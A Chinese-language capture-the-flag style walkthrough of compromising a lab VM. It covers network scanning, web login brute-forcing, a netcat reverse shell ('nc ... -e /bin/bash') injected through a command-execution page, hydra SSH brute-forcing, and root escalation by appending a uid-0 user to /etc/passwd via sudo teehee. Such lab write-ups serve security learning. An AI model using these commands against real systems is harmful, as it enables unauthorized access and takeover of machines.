一:信息收集阶段
1.首先确定目标机器与kali处于一个网段
然后arp-scan -l 扫描本地网段,经过筛选192.168.150.130为目标机ip
2.输入nmap -sV -A -p- 查看该ip详细的端口及服务信息
发现开有ssh 和 http 服务,既然开启http那我们就去访问一下看看
没什么其他的信息就一个登录框,先放下不管,下一步去dirb 爆破一下目录,看看有没有能利用的上的,发现就这一个目录,也没什么其他的子目录
3.用whatweb查看目标机的详细指纹信息,看有没有可以利用的,发现也没有什么有用的,一切无果的情况下那就只能进行最笨的方法直接爆破web页面的密码
二:渗透测试阶段
1.用burp抓包拦截爆破密码经过尝试发现没什么限制,那就用最常见的用户admin爆破密码进行尝试
发现是弱密码且爆破成功,那就登录查看,进去发现是命令执行选项
2.那我们应该可以在bp里改包让它执行我们想执行的命令
建立一个nc反弹
kali: nc -lvvp 7788
bp: nc+192.168.150.128+7788+-e+/bin/bash
3.运行后kali成功拿下反弹shell
使用python -c "import pty;pty.spawn('/bin/bash')" 创建一个伪终端
三:提权阶段
1.首先进行熟悉的suid提权,发现了一个从未见过的test.sh文件,
那就进去看看。发现并没有什么有用的价值,但是另外两个也看着有点奇怪都分别进去看看
2.不看不知道,一看吓一跳,第一个备份里面竟然有一份密码,那我们既然在jim目录下,那我们就尝试用我们扫出的另一个端口ssh登录一下
3.首先使用九头蛇hydra爆破密码
hydra -l jim -P mm.txt 192.168.150.130 ssh
拿到密码,使用ssh登录,登录后发现刚刚不能访问的mbox可以查看了,那就看一下
4.发现是一个root给这个用户发的邮件,那我们就去邮件服务地址去看一下,
发现有个用户charles给jim发了一个邮件,里面有这个用户的密码,那就su进去这个用户看看
5.进去之后我们sudo -l 发现有个命令拥有sudo权限,上网查看这个是什么命令,一个类似于vim的编辑器,可以直接用来提权,那我们就使用一下
有时会出现禁止空密码登录的设置,那这样的话我们就要自己创建一个用户给上密码和权限
echo "deng:$(openssl passwd deng):0:0:/root:/bin/bash" | sudo teehee -a /etc/passwd
进去之后whoami发现是root后,那cd进root家目录发现flag